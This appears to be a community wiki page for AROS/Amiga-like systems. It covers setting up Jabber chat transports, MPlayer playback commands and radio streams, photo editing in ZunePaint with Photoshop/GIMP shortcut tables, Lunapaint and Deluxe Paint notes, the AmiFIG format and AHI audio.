There is no consistent Skype like (H.323 VoIP) video conferencing available over Jabber. The move from xmpp to Jingle should help but no support on any amiga-like systems at the moment. [http://aminet.net/package/dev/src/AmiPhoneSrc192 AmiPhone] and [http://www.lysator.liu.se/%28frame,faq,nobg,useframes%29/ahi/v4-site/ Speak Freely] was an early attempt voice only contact. SIP and Asterisk are other PBX options.


 Facebook

If you're using the XMPP transport provided by Facebook themselves, chat.facebook.com, it looks like they're now requiring SSL transport. This means jabberwocky method below will no longer work. The best thing to do is to create an ID on a public jabber server which has a Facebook gateway.

&lt;pre &gt;
1. launch jabberwocky
2. if the login window doesn't appear on launch, select 'account' from the jabberwocky menu
3. your jabber ID will be user@chat.facebook.com where user is your user ID
4. your password is your normal facebook password
5. to save this for next time, click the popup gadget next to the ID field

6. click the 'add' button
7. click the 'close' button
8. click the 'connect' button
&lt;/pre &gt;

you're done. you can also click the 'save as default account' button if you want. jabberwocky configured to auto-connect when launching the program, but you can configure as you like. there is amigaguide documentation included with jabberwocky.

[http://amigaworld.net/modules/newbb/viewtopic.php?topic_id=37085&amp;forum=32 Read more here]

for Facebook users, you can log-in directly to Facebook with jabberwocky. just sign in as @chat.facebook.com with your Facebook password as the password


 Twitter

For a few years, there has been added a twitter transport. Servers include [http://jabber.hot-chilli.net/ jabber.hot-chili.net],  and .

An [http://jabber.hot-chilli.net/tag/how-tos/ How-to]

:Read [http://jabber.hot-chilli.net/2010/05/09/twitter-transport-working/ more]

 Instagram 

no support at the moment best to use a web browser based client

 ICQ

The new version (beta) of StriCQ uses a newer ICQ protocol. Most of the ICQ Jabber Transports still use an older ICQ protocol. You can only talk one-way to StriCQ using the older Transports. Only the newer ICQv7 Transport lets you talk both ways to StriCQ. Look at the server lists in the first section to check.

Register on a Jabber server, e.g. this one works: http://www.jabber.de/
Then login into Jabberwocky with the following login data e.g. xxx@jabber.de / Password: xxx Now add your ICQ account under the window-&gt;Agents-&gt;&quot;Register&quot;. Now Jabberwocky connects via the Jabber.de server with your ICQ account.

 Yahoo Messenger

although yahoo! does not use xmpp protocol, you should be able to use the transport methods to gain access and post your replies

 MSN

early months of 2013 Microsoft will ditch MSN Messenger client and force everyone to use Skype...but MSN protocol and servers will keep working as usual for quite a long time....

Occasionally the Messenger servers have been experiencing problems signing in.  You may need to sign in at www.outlook.com and then try again.  It may also take multiple tries to sign in.  (This also affects you if you’re using Skype.)

You have to check each servers' Agents List to see what transports (MSN protocol, ICQ protocol, etc.) are supported or use the list address' provided in the section above. Then register with each transport (IRC, MSN, ICQ, etc.) to which you need access. After registering you can Connect to start chatting.

msn.jabber.com/registered should appear in the window.

From this [http://tech.dir.groups.yahoo.com/group/amiga-jabberwocky/message/1378 JW group] guide which  helps with this process in a clear, step by step procedure.

1. Sign up on MSN's site for a passport account. This typically involves getting a Hotmail address.

2. Log on to the Jabber server of your choice and do the following:

* Select the &quot;Windows/Agents&quot; menu option in Jabberwocky.
* Select the MSN Agent from the list presented by the server.
* Click the Register button to open a new window asking for:
**Username = passort account email address, typically your hotmail address.
**Nick = Screen name to be shown to anyone you add to your buddy list.
**Password = Password for your passport account/hotmail address.
* Click the Register button at the bottom of the new window.

3. If all goes well, you will see the MSN Gateway added to your buddy list. If not, repeat part 2 on another server. Some servers may show MSN in their list of available agents, but have not updated their software for the latest protocols used by MSN.

4. Once you are registered, you can now add people to your buddy list. Note that you need to include the '''msn.''' ahead of the servername so that it knows what gateway agent to use. Some servers may use a slight variation and require '''msg.gate.''' before the server name, so try both to see what works.

If my friend's msn was amiga@hotmail.co.uk and my jabber server was @jabber.meta.net.nz..
then amiga'''%'''hotmail.com@'''msn.'''jabber.meta.net.nz

or another the trick to import MSN contacts is that you don't type the hotmail URL but the passport URL... e.g. Instead of: goodvibe%hotmail.com@msn.jabber.com  You type: goodvibe%passport.com@msn.jabber.com 
And the thing about importing contacts I'm afraid you'll have to do it by hand, one at the time...

 Google Talk

any XMPP server will work, but you have to add your contacts manually. a google talk user is typically either @gmail.com or @talk.google.com. a true gtalk transport is nice because it brings your contacts to you and (can) also support file transfers to/from google talk users.

implement Jingle a set of extensions to the IETF's Extensible Messaging and Presence Protocol (XMPP)

support ended early 2014 as Google moved to Google+ Hangouts which uses it own proprietary format


===Video Player MPlayer===

Many of the menu features (such as doubling) do not work with the current version of mplayer but using

4:3
 mplayer -vf scale=800:600 file.avi

16:9
 mplayer -vf scale=854:480 file.avi

if you want gui use;
 mplayer -gui 1 &lt;other params&gt; file.avi

&lt;pre &gt;
stack 1000000

; using AspireOS 1.xx 
; copy FROM SYS:Extras/Multimedia/MPlayer/ TO RAM:MPlayer ALL CLONE &gt; Nil:

; using Icaros Desktop 1.x 
; copy FROM SYS:Tools/MPlayer/ TO RAM:MPlayer ALL CLONE &gt; Nil:

; using Icaros Desktop 2.x 
; copy FROM SYS:Utilities/MPlayer/ TO RAM:MPlayer ALL CLONE &gt; Nil:

cd RAM:MPlayer
run MPlayer -gui &gt; Nil:
;run MPlayer -gui -ao ahi_dev -playlist http://www.radio-paralax.de/listen.pls &gt; Nil: 
&lt;/pre &gt;

$ mplayer rtsp://127.0.0.1:554/sample_300kbit.mp4


MPlayer supports multicast streaming, and rtp/rtsp protocols (it might require [http://www.live555.com/openRTSP/ live555 library] to work with some streams). But you might have to build it where it's disabled. Also, multicast won't work with some AmiTCP-likes. MIAMI supported it, though.

AROS supports IPv4 (old but works) and this includes the needed address space for RTP.

If you mean multicast via RTP - mplayer handles it. You can even force UDP over TCP

-rtsp-stream-over-tcp

If the rtsp Real Time Streaming Protocol  server needs authentification:

-user -passwd


MPlayer - Menu - Open Playlist and load already downloaded .pls or .m3u file - auto starts around 4 percent cache

MPlayer - Menu - Open Stream and copy one of the .pls lines below into space allowed, press OK and press play button on main gui interface


Old 8bit 16bit remixes chip tune game music 
 
http://www.radio-paralax.de/listen.pls 

http://scenesat.com/

http://www.shoutcast.com/radio/Amiga

http://www.theoldcomputer.com/retro_radio/RetroRadio_Main.htm

http://www.kohina.com/

http://www.remix64.com/

http://retrogamer.net/forum/

http://retroasylum.podomatic.com/rss2.xml

http://retrogamesquad.com/

http://www.retronauts.com/

http://monsterfeet.com/noquarter/

http://www.retrogamingradio.com/

http://www.radiofeeds.co.uk/mp3.asp


[[#top|...to the top]]

====ZunePaint==== 

simplified typical workflow

* importing and organizing and photo management
* making global and regional local correction(s) - recalculation is necessary after each adjustment as it is not in real-time 
* exporting your images in the best format available with the preservation of metadata


Whilst achieving 80% of a great photo with just a filter, the remaining 20% comes from a manual fine-tuning of specific image attributes.


For photojournalism, documentary, and event coverage, minimal touching is recommended. Stick to Camera Raw for such shots, and limit changes to level adjustment, sharpness, noise reduction, and white balance correction.

For fashion or portrait shoots, a large amount of adjustment is allowed and usually ends up far from the original. Skin smoothing, blemish removal, eye touch-ups, etc. are common.  Might alter the background a bit to emphasize the subject.

Product photography usually requires a lot of sharpening, spot removal, and focus stacking.

For landscape shots, best results are achieved by doing the maximum amount of preparation before/while taking the shot. No amount of processing can match timing, proper lighting, correct gear, optimal settings, etc. Excessive post-processing might give you a dramatic shot but best avoided in the long term.


* White Balance - Left Amiga or F12 and K and under &quot;Misc color effects&quot; tab with a pull down for White Balance - color temperature also known as AKA tint (movies) or tones (painting) - warm temp raise red reduce green blue - cool raise blue lower red green 
* Exposure - exposure compensation, highlight/shadow recovery
* Noise Reduction - during RAW development or using external software
* Lens Corrections - distortion, vignetting, chromatic aberrations
* Detail - capture sharpening and local contrast enhancement
* Contrast - black point, levels (sliders) and curves tools (F12 and K) 
* Framing - straighten () and crop (F12 and F) 
* Refinements - color adjustments and selective enhancements - Left Amiga or F12 and K for RGB and YUV histogram tabs - 
* Resizing - enlarge for a print or downsize for the web or email (F12 and D) 
* Output Sharpening - customized for your subject matter and print/screen size


White Balance - F12 and K

scan your image for a shade which was meant to be white (neutral with each RGB value being equal) like paper or plastic which is in the same light as the subject of the picture. Use the dropper tool to select this color, similar colours will shift and you will have selected the perfect white balance for your part of the image - for the whole picture make sure RAZ or CLR button at the bottom is pressed before applying to the image above.


Exposure correction

F12 and K - YUV Y luminosity - RGB extra red tint - move red curve slightly down and move blue green curves slightly up

Workflows in practice

* Undo - Right AROS key or F12 and Z 
* Redo - Right AROS key or F12 and R

First flatten your image (if necessary) and then do a rotation until the picture looks level. 
* Crop the picture. Click the selection button and drag a box over the area of the picture you want to keep. Press the crop button and the rest of the photo will be gone. 
* Adjust your saturation, exposure, hue levels, etc., (right AROS Key and K for color correction) until you are happy with the photo. Make sure you zoom in all of the way to 100% and look the photo over, zoom back out and move around. Look for obvious problems with the picture. 
* After coloring and exposure do a sharpen (Right AROS key and E for Convolution and select drop down option needed), e.g. set the matrix to 5x5 (roughly equivalent Amount to 60%) and set the Radius to 1.0. Click OK.


And save your picture


Implemented or would like to see for simplification and ease of use

basic filters (presets) like black and white, monochrome, edge detection (sobel), motion/gaussian blur, 
* negative, sepiatone, retro vintage, night vision, colour tint, color gradient, color temperature, glows, fire, lightning, lens flare, emboss, filmic, pixelate mezzotint, antialias, etc.

adjust / cosmetic tools such as crop, 
* reshaping tools, straighten, smear, smooth, perspective, liquify, bloat, pucker, push pixels in any direction, dispersion, transform like warp, blending with soft light, page-curl, whirl, ripple, fisheye, neon,  etc. 
* red eye fixing, blemish remover, skin smoothing, teeth whitener, make eyes look brighter, desaturate,

effects like oil paint, cartoon, pencil sketch, charcoal, noise/matrix like sharpen/unsharpen, (right AROS key with A for Artistic effects) 
* blend two image, gradient blend, masking blend, explode, implode, custom collage, surreal painting, comic book style, needlepoint, stained glass, watercolor, mosaic, stencil/outline, crayon, chalk, etc.

borders such as 
* dropshadow, rounded, blurred, color tint, picture frame, film strip polaroid, bevelled edge, etc.

brushes e.g.
* frost, smoke, etc.

and manual control of

fix lens issues including vignetting (darkening), color fringing and barrel distortion, and chromatic and geometric aberration -  lens and body profiles

perspective correction

levels - directly modify the levels of the tone-values of an image, by using sliders for highlights, midtones and shadows

curves -  Color Adjustment and Brightness/Contrast

color balance

one single color transparent (alpha channel (color information/selections) for masking and/or blending ) for backgrounds, etc.

Threshold indicates how much other colors will be considered mixture of the removed color and non-removed colors

decompose layer into a set of layers with each holding a different type of pattern that is visible within the image

any selection using any selecting tools like lasso tool, marquee tool etc. the selection will temporarily be save to alpha 
If you create your image without transparency then the Alpha channel is not present, but you can add later.

File formats like .psd (Photoshop file has layers, masks etc.  contains edited sensor data. The original sensor data is no longer available) .xcf .raw .hdr

Image Picture Formats
* low dynamic range (JPEG, PNG, TIFF 8-bit), 16-bit (PPM, TIFF), typically as a 16-bit TIFF in either ProPhoto or AdobeRGB colorspace -  TIFF files are also fairly universal – although, if they contain proprietary data, such as Photoshop Adjustment Layers or Smart Filters, then they can only be opened by Photoshop making them proprietary.
* linear high dynamic range (HDR) images (PFM, [http://www.openexr.com/ ILM .EXR], jpg, [http://aminet.net/util/dtype cr2] (canon tiff based), hdr, NEF, CRW, ARW, MRW, ORF, RAF (Fuji), PEF, DCR, SRF, ERF, DNG files are RAW converted to an Adobe proprietary format - a container that can embed the raw file as well as the information needed to open it) 
An old version of [http://archives.aros-exec.org/index.php?function=browse&amp;cat=graphics/convert dcraw]

There is no single RAW file format. Each camera manufacturer has one or more unique RAW formats. RAW files contain the brightness levels data captured by the camera sensor. This data cannot be modified. A second smaller file, separate XML file, or within a database with instructions for the RAW processor to change exposure, saturation etc. The extra data can be changed but the original sensor data is still there. RAW is technically least compatible.

A raw file is high-bit (usually 12 or 14 bits of information) but a camera-generated TIFF file will be usually converted by the camera (compressed, downsampled) to 8 bits. The raw file has no embedded color balance or color space, but the TIFF has both. These three things (smaller bit depth, embedded color balance, and embedded color space) make it so that the TIFF will lose quality more quickly with image adjustments than the raw file. The camera-generated TIFF image is much more like a camera processed JPEG than a raw file. A strong advantage goes to the raw file. The power of RAW files, such as the ability to set any color temperature non-destructively and will contain more tonal values.

The principle of preserving the maximum amount of information to as late as possible in the process. The final conversion - which will always effectively represent a &quot;downsampling&quot; - should prevent as much loss as possible.

Once you save it as TIFF, you throw away some of that data irretrievably. When saving in the lossy JPEG format, you get tremendous file size savings, but you've irreversibly thrown away a lot of image data. As long as you have the RAW file, original or otherwise, you have access to all of the image data as captured.

Keyboard equivalence with Photoshop(tm) would help 

File
PHOTOSHOP	SHORTCUT	GIMP
New	Ctrl+n	New
Open	Ctrl+o	Open
Close	Ctrl+w	Close
Save	Ctrl+s	Save
Save as	Shift+Ctrl+s	Save as
Revert	F12	Revert
Print	Ctrl+p	Print
Exit	Ctrl+q	Quit
 
Edit
PHOTOSHOP	SHORTCUT	GIMP
Undo/Redo (1 level)	Ctrl+z	Undo (Redo is Shift+Ctrl+z)
Cut	Ctrl+x	Cut
Copy	Ctrl+c	Copy
Paste	Ctrl+v	Paste
Paste Into	Shift+Ctrl+v	Paste Into
Fill with FG color	Alt+Backspace	Fill with FG color
Fill with BG color	Control+Backspace	Fill with BG color
 
Image/Colors
PHOTOSHOP	SHORTCUT	GIMP
Levels	Ctrl+l	Levels
Auto Contrast	Shift+Ctrl+Alt+l	Stretch Contrast (same?)
Curves	Ctrl+m	Curves
Color Balance	Ctrl+b	Color Balance
Hue/Saturation	Ctrl+u	Hue-Saturation
Desaturate	Shift+Ctrl+u	Desaturate
Invert	Ctrl+i	Invert
Default Colors	d	Default Colors
Switch Colors	x	Switch Colors
 
Layer
PHOTOSHOP	SHORTCUT	GIMP
New Layer	Shift+Ctrl+n	New Layer
Layer via Copy	Ctrl+j	Duplicate Layer
Bring (layer) to Front	Shift+Ctrl+]	Layer to Top
Send (layer) to Back	Shift+Ctrl+[	Layer to Bottom
Bring (layer) Forward	Ctrl+]	Raise Layer
Send (layer) Backward	Ctrl+[	Lower Layer
Select Top Layer	Shift+Alt+]	Select Top Layer
Select Bottom Layer	Shift+Alt+[	Select Bottom Layer
Select One Layer Forward	Alt+]	Select Previous Layer
Select One Layer Backward	Alt+[	Select Next Layer
Merge Down	Ctrl+e	Merge Down
Merge Visible	Shift+Ctrl+e	Merge Visible
Preserve Transparency	/	Keep Transparency
Cycle Modes Forwards	Shift+=	Next Layer Mode
Cycle Modes Backwards	Shift+-	Previous Layer Mode
 
Select
PHOTOSHOP	SHORTCUT	GIMP
Select All	Ctrl+a	Select All
Deselect	Ctrl+d	Select None
Inverse	Shift+Ctrl+i	Invert
Feather	Ctrl+Alt+d	Feather
 
View
PHOTOSHOP	SHORTCUT	GIMP
Zoom In	Ctrl+=	Zoom In
Zoom Out	Ctrl+-	Zoom Out
Fit on Screen	Ctrl+0	Zoom to Fit Window
Actual Pixels	Ctrl+Alt+0	Zoom 1:1
Show/Hide Extras	Ctrl+h	Toggle Show Selection (close enough?)
Show/Hide Guides	Ctrl+'	Toggle Show Guides
Show/Hide Grid	Ctrl+Alt+'	Toggle Show Grid
Show/Hide Rulers	Ctrl+r	Toggle Show Rulers
Snap	Ctrl+;	Snap to Guides
Scroll View Up	Page Up	Scroll Page Up
Scroll View Down	Page Down	Scroll Page Down
Scroll View Left	Ctrl+Page Up	Scroll Page Left
Scroll View Right	Ctrl+Page Down	Scroll Page Right
 
Window/Dialogs
PHOTOSHOP	SHORTCUT	GIMP
?	F5	Tools Dialog
Color Tab	F6	Colors Dialog
Layers Tab	F7	Layers Dialog
Info Tab	F8	Image Information
 
Tools
PHOTOSHOP	SHORTCUT	GIMP
Rectangular Marquee Tool	m	Rect Select Tool
Elliptical Marquee Tool	Shift+m	Ellipse Select Tool
 	*This is a toggle between 'Elliptical Marquee Tool' and 'Rectangular Marquee Tool' in Photoshop	 
Move Tool	v	Move Tool
Lasso Tool	l	Free Select Tool
Magic Wand Tool	w	Fuzzy Select Tool
Crop Tool	c	Crop &amp; Resize Tool
Airbrush Tool	j	Airbrush Tool
Paintbrush Tool	b	Paintbrush Tool
Clone Stamp Tool	s	Clone Stamp Tool
Eraser Tool	e	Eraser Tool
Gradient Tool	g	Blend Tool
Paint Bucket Tool	Shift+g	Bucket Fill Tool
 	*This is a toggle between 'Paint Bucket Tool' and 'Gradient Tool' in Photoshop	 
Blur Tool	r	Convolve Tool
Dodge Tool	o	DodgeBurn Tool
Type Tool	t	Text Tool
Pen Tool	p	Bezier Select Tool
Eye Dropper Tool	i	Color Picker Tool
Zoom Tool	z	Magnify Tool
Previous Brush	,	Previous Brush
Next Brush	.	Next Brush
First Brush	Shift+&lt;	First Brush
Last Brush	Shift+&gt;	Last Brush
Decrease Brush Size	[	Decrease Brush Size
Increase Brush Size	]	Increase Brush Size
Decrease Brush Hardness	{	Decrease Brush Hardness
Increase Brush Hardness	}	Increase Brush Hardness
 
Help
PHOTOSHOP	SHORTCUT	GIMP
Help	F1	Help
Context Help	Shift+F1	Context Help
 
Misc.
PHOTOSHOP	SHORTCUT	GIMP
Last Filter	Ctrl+f	Repeat Last Filter
?	Shift+Ctrl+f	Reshow Last Filter
Preferences	Ctrl+k	Preferences
Liquify	Shift+Ctrl+x	IWarp (close enough?)
Toggle Quick Mask	q	Toggle Quick Mask


Spotlights - triangle of white opaque shape

Cutting out and/or replacing unwanted background or features - select large areas with the selection option like the Magic Wand tool (aka Color Range) or the Lasso (quick and fast) with feather 2 to soften edge or the pen tool which adds points/lines/Bézier curves (better control but slower), hold down the shift button as you click to add extra points/areas of the subject matter to remove. Increase the tolerance to cover more areas. To subtract from your selection hold down alt as you're clicking. 
* Layer masks are a better way of working than Erase they clip (black hides/hidden white visible/reveal). Clone Stamp can be simulated by   and brushes for other areas. 
* Leave the fine details like hair, fur, etc. to later with lasso and the shift key to draw a line all the way around your subject. Gradient Mapping - Inverse - Mask. i.e. Refine your selected image with edge detection and using the radius and edge options / adjuster (increase/decrease contrast) so that you will capture more fine detail from the background allowing easier removal. 
Remove fringe/halo

saving image as png rather than jpg/jpeg to keep transparency background intact.


Implemented [http://colorizer.org/ colour model representations] [http://paulbourke.net/texture_colour/colourspace/ Mathematical approach] - Photo stills are spatially 2d (h and w), but are colorimetrically 3d (r g and b, or H L S, or Y U V etc.) as well. 
* RGB - split cubed mapped color model for photos and computer graphics hardware using the light spectrum (adding and subtracting) 
* YUV - Y-Lightness U-blue/yellow V-red/cyan (similar to YPbPr and YCbCr) used in the PAL, NTSC, and SECAM composite digital TV color [http://crewofone.com/2012/chroma-subsampling-and-transcoding/#comment-7299 video]


Histograms

White balanced (neutral) if the spike happens in the same place in each channel of the RGB graphs. If not, you're not balanced. 
If you have sky you'll see the blue channel further off to the right.

RGB is best one to change colours. These elements RGB is a 3-channel format containing data for Red, Green, and Blue in your photo scale between 0 and 255. The area in a picture that appears to be brighter/whiter contains more red color as compared to the area which is relatively darker. Similarly in the green channel the area that appears to be darker contains less amount of green color as compared to the area that appears to be brighter.  Similarly in the blue channel the area appears to be darker contains less amount of blue color as compared to the area that appears to be brighter. Brightness luminance histogram also matches the green histogram more than any other color - human eye interprets green better e.g. RGB rough ratio 15/55/30%

RGBA (RGB+A, A means alpha channel) .  The alpha channel is used for &quot;alpha compositing&quot;, which can mostly be associated as &quot;opacity&quot;.  AROS deals in RGB with two digits for every color (red, green, blue), in ARGB you have two additional hex digits for the alpha channel.

The shadows are represented by the left third of the graph.  The highlights are represented by the right third.  And the midtones are, of course, in the middle.  The higher the black peaks in the graph, the more pixels are concentrated in that tonal range (total black area). 
By moving the black endpoint, which identifies the shadows (darkness) and a white light endpoint (brightness) up and down either sides of the graph, colors are adjusted based on these points. 
By dragging the central one, can increased the midtones and control the contrast, raise shadows levels, clip or softly eliminate unsafe levels, alter gamma, etc... in a way that is much more precise and creative .


RGB Curves

* Move left endpoint (black point) up or right endpoint (white point) up brightens 
* Move left endpoint down or right endpoint down darkens

Color Curves

* Dragging up on the Red Curve increases the intensity of the reds in the image but 
* Dragging down on the Red Curve decreases the intensity of the reds and thus increases the apparent intensity of its complimentary color, cyan. Green’s complimentary color is magenta, and blue’s is yellow.
&lt;pre&gt;
 Red &lt;-&gt; Cyan
 Green &lt;-&gt;Magenta
 Blue &lt;-&gt;Yellow 
&lt;/pre&gt;

YUV Best option to analyse and pull out statistical elements of any picture (i.e.  separate luminance data from color data). The line in Y luma tone box represents the brightness of the image with the point in the bottom left been black, and the point in the top right as white.  A low-contrast image has a concentrated clump of values nearer to the center of the graph. By comparison, a high-contrast image has a wider distribution of values across the entire width of the Histogram.   A histogram that is skewed to the right would indicate a picture that is a bit overexposed because most of the color data is on the lighter side (increase exposure with higher value F), while a histogram with the curve on the left shows a picture that is underexposed. This is good information to have when using post-processing software because it shows you not only where the color data exists for a given picture, but also where any data has been clipped (extremes on edges of either side): that is, it does not exist and, therefore, cannot be edited.  By dragging the endpoints of the line and as well as the central one, can increased the dark/shadows, midtones and light/bright parts and control the contrast, raise shadows levels, clip or softly eliminate unsafe levels, alter gamma, etc... in a way that is much more precise and creative .

The U and V chroma parts show color difference components of the image. It’s useful for checking whether or not the overall chroma is too high, and also whether it’s being limited too much
Can be used to create a negative image but also 
With U (Cb), the higher value you are, the more you're on the blue primary color. If you go to the low values then you're on blue complementary color, i.e. yellow.
With V (Cr), this is the same principle but with Red and Cyan.
e.g. If you push U full blue and V full red, you get magenta. If you push U full yellow and V full Cyan then you get green.

YUV simultaneously adds to one side of the color equation while subtracting from the other.  
using YUV to do color correction can be very problematic because each curve alters the result of each other: the mutual influence between U and V often makes things tricky. You may also be careful in what you do to avoid the raise of noise (which happens very easily). Best results are obtained with little adjustments

sunset that looks uninspiring and needs some color pop especially for the rays over the hill, a subtle contrast raise while setting luma values back to the legal range without hard clipping.


====Lunapaint====

Pixel based drawing app with onion-skin animation function

 Blocking, Shading, Coloring, adding detail 

&lt;pre&gt;
b BRUSH
e ERASER

alt eyedropper 
v layer tool 

z ZOOM / MAGNIFY &lt; &gt; n 
spc panning 
m  marque 
q lasso 
w same color selection / region 
&lt;/pre&gt;

&lt;pre&gt;
, LM RM
v 
V
f  filter 
F 
.  size 

p 
,  pick color 
[] last / next color 
&lt;/pre&gt;


There is not much missing in Lunapaint to be as good as FlipBook and then you have to take into account that Flipbook is considered to be amongst the best and easiest to use animation software out there. Ok to be honest Flipbook has some nice features that require more heavy work but those aren't so much needed right away, things like camera effects, sound, smart fill, export to different movie file formats etc.

Tried Flipbook with my tablet and compared it to Luna. The feeling is the same when sketching. LunaPaint is very responsive/fluent to draw with. Just as Flipbook is, and that responsiveness is something its users have mentioned as one of the positive sides of said software.

 author was learning MUI. Some parts just have to be rewritten with proper MUI classes before new features can be added.

* add [Frame Add] / [Frame Del]
* whole animation feature is impossible to use. If you draw 2 color maybe but if you start coloring your cells then you get in trouble
* pickup the entire image as a brush, not just a selection ? And consequently remove the brush from memory when one doesn't need it anymore. can pick up a brush and put it onto a new image but cropping isn't possible, nor to load/save brushes.
* Undo is something I longed for ages in Lunapaint.
* to import into the current layer, other types of images (e.g. JPEG) besides RAW64.
* implement graphic tablet features support


**GENERAL DRAWING**

Miss it very much:
UNDO
ERASER
COLORPICKER - has to show on palette too which color got picked.
BACKGROUND COLOR -Possibility to select from &quot;New project screen&quot;

Miss it somewhat:
ICON for UNDO
ICON for ERASER
ICON for CLEAR SCREEN ( What can I say? I start over from scratch very often )
BRUSH - possibility to cut out as brush not just copy off image to brush

**ANIMATING**

Miss it very much:
NUMBER OF CELLS - Possibity to change total no. of cells during project
ANIM BRUSH - Possibility to pick up a selected part of cells into an animbrush

Miss it somewhat:
ADD/REMOVE FRAMES: Add/remove single frame

In general LunaPaint is really well done and it feels like a new DeluxePaint version. It works with my tablet. Sure there's much missing of course but things can always be added over time. So there is great potential in LunaPaint that's for sure. Animations could be made in it and maybe put together in QuickVideo, saving in .gif or .mng etc some day.


LAYERS
-Layers names don't get saved globally in animation frames
-Layers order don't change globally in an animation (perhaps as default?).

EXPORTING IMAGES
-Exporting frames to JPG/PNG gives problems with colors. (wrong colors. See my animatiopn --&gt; My robot was blue now it's &quot;gold&quot; ) I think this only happens if you have layers.
-Trying to flatten the layers before export doesn't work if you have animation frames only the one you have visible will flatten properly all other frames are destroyed. (Only one of the layers are visible on them)
-Exporting images filenames should be for example e.g. file0001, file0002...file0010 instead as of now file1, file2...file10

LOAD/SAVE (Preferences)
-Make a setting for the default &quot;Work&quot; folder.

* Destroyed colors if exported image/frame has layers 
* mystic color cycling of the selected color while stepping frames back/forth (annoying)

&lt;pre&gt;
Deluxe Paint II enhanced key shortcuts 
    NOTE: @ denotes the ALT key

    [Technique]

    F1  - Paint
    F2  - Single Colour
    F3  - Replace
    F4  - Smear
    F5  - Shade
    F6  - Cycle
    F7  - Smooth
     M  - Colour Cycle

    [Brush]

     B  - Restore
     O  - Outline
     h  - Halve brush size
     H  - Double brush size
     x  - Flip brush on X axis
     X  - Double brush size on X axis only
     y  - Flip on Y 
     Y  - Double on Y
     z  - Rotate brush 90 degrees
     Z  - Stretch

    [Stencil]

     `  - Stencil On

    [Miscellaneous]

    F9  - Info Bar
    F10 - Selection Bar
    @o  - Co-Ordinates
    @a  - Anti-alias
    @r  - Colourise
    @t  - Translucent
    TAB - Colour Cycle

    [Picture]

     L  - Load
     S  - Save
     j  - Page to Spare(Flip)
     J  - Page to Spare(Copy)
     V  - View Page
     Q  - Quit

    [General Keys]

     m  - Magnify
     &lt;  - Zoom In
     &gt;  - Zoom Out
     [  - Palette Colour Up
     ]  - Palette Colour Down
     (  - Palette Colour Left
     )  - Palette Colour Right
     ,  - Eye Dropper
     .  - Pixel / Brush Toggle
     /  - Symmetry
     |  - Co-Ordinates
    INS - Perspective Control
    +/- - Brush Size (Fine Control)
     w  - Unfilled Polygon
     W  - Filled Polygon
     e  - Unfilled Ellipse
     E  - Filled Ellipse
     r  - Unfilled Rectangle
     R  - Filled Rectangle
     t  - Type/text tool
     a  - Select Font
    u/U - Undo
     d  - Brush
     D  - Filled Non-Uniform Polygon
    f/F - Fill Options
    g/G - Grid
    h/H - Brush Size (Coarse Control)
     K  - Clear
     c  - Unfilled Circle
     C  - Filled Circle
     v  - Line
     b  - Scissor Select and Toggle
     B  - Brush
    {,} - Toggle between two background colours
&lt;/pre&gt;

====Lodepaint====

Pixel based painting artwork app

====Grafx2====

Pixel based painting artwork app aesprite like 

[https://www.youtube.com/watch?v=59Y6OTzNrhk aesprite workflow keys and tablet use], [], 


====Vector Graphics ZuneFIG====

Vector Image Editing of files .svg .ps .eps


*Objects - raise lower rotate flip aligning snapping 
*Path - unify subtract intersect exclude divide 
*Colour - fill stroke 
*Stroke - size 
*Brushes - 
*Layers - 
*Effects - gaussian bevels glows shadows 
*Text    - 
*Transform - 


 AmiFIG ([http://epb.lbl.gov/xfig/frm_introduction.html xfig manual]) 

[[File:MyScreen.png|thumb|left|alt=Showing all Windows open in AmiFIG.|All windows available to AmiFIG.]]

for drawing simple to intermediate vector graphic images for scientific and technical uses and for illustration purposes for those with talent

;Menu options
* Load - fig format but import(s) SVG
* Save - fig format but export(s) eps, ps, pdf, svg and png
* PAN = Ctrl + Arrow keys 
* Deselect all points

There is no selected object until you apply the tool, and the selected object is not highlighted.

;Metrics - to set up page and styles - first window to open on new drawings

;Tools - Drawing Primitives - set Attributes window first before clicking any Tools button(s) 
* Shapes - circles, ellipses, arcs, splines, boxes,  polygon 
* Lines - polylines
* Text &quot;T&quot; button 
* Photos - bitmaps
* Compound - Glue, Break, Scale 
* POINTs - Move, Add, Remove 
* Objects - Move, Copy, Delete, Mirror, Rotate, Paste 
use right mouse button to stop extra lines, shapes being formed and the left mouse to select/deselect tools button(s)
* Rotate - moves in 90 degree turns centered on clicked POINT of a polygon or square

;Attributes which provide change(s) to the above primitives 
* Color
* Line Width
* Line Style
* arrowheads

;Modes 
Choose from freehand, charts, figures, magnet, etc.

;Library - allows .fig clip-art to be stored 
* compound tools to add .fig(s) together

;FIG 3.2 [http://epb.lbl.gov/xfig/fig-format.html Format] as produced by xfig version 3.2.5 
&lt;pre&gt;
Landscape
Center
Inches
Letter 
100.00
Single
-2
1200 2
4 0 0 50 -1 0 12 0.0000 4 135 1050 1050 2475 This is a test.01
&lt;/pre&gt;

# change the text alignment within the textbox. I can choose left, center, or right aligned by either changing the integer in the second column from 0 (left) to 1 or 2 (center, or right). 
# The third integer in the row specifies fontcolor. For instance, 0 is black, but blue is 1 and Green3 is 13.
# The sixth integer in the bottom row specifies fontface. 0 is Times-Roman, but 16 is Helvetica (a MATLAB default).
# The seventh number is fontsize. 12 represents a 12pt fontsize. Changing the fontsize of an item really is as easy as changing that number to 20.
# The next number is the counter-clockwise angle of the text. Notice that I have changed the angle to .7854 (pi/4 rounded to four digits=45 degrees).
# twelfth number is the position according to the standard “x-axis” in Xfig units from the left. Note that 1200 Xfig units is equivalent to once inch.
# thirteenth number is the “y-position” from the top using the same unit convention as before.

* The nested text string is what you entered into the textbox.
* The “01″ present at the end of that line in the .fig file is the closing tag. For instance, a change to \100 appends a @ symbol at the end of the period of that sentence.

; Just to note there are no layers, no 3d functions, no shading, no transparency, no animation


[[#top|...to the top]]

===Audio===


# AHI uses linear panning/balance, which means that in the center, you will get -6dB. If an app uses panning, this is what you will get. Note that apps like Audio Evolution need panning, so they will have this problem.

# When using AHI Hifi modes, mixing is done in 32-bit and sent as 32-bit data to the driver. The Envy24HT driver uses that to output at 24-bit (always).

# For the Envy24/Envy24HT, I've made 16-bit and 24-bit inputs (called Line-in 16-bit, Line-in 24-bit etc.). There is unfortunately no app that can handle 24-bit recording.


====Music Mods====

Digital module (mods) trackers are music creation software using samples and sometimes soundfonts, audio plugins (VST, AU or RTAS), MIDI.

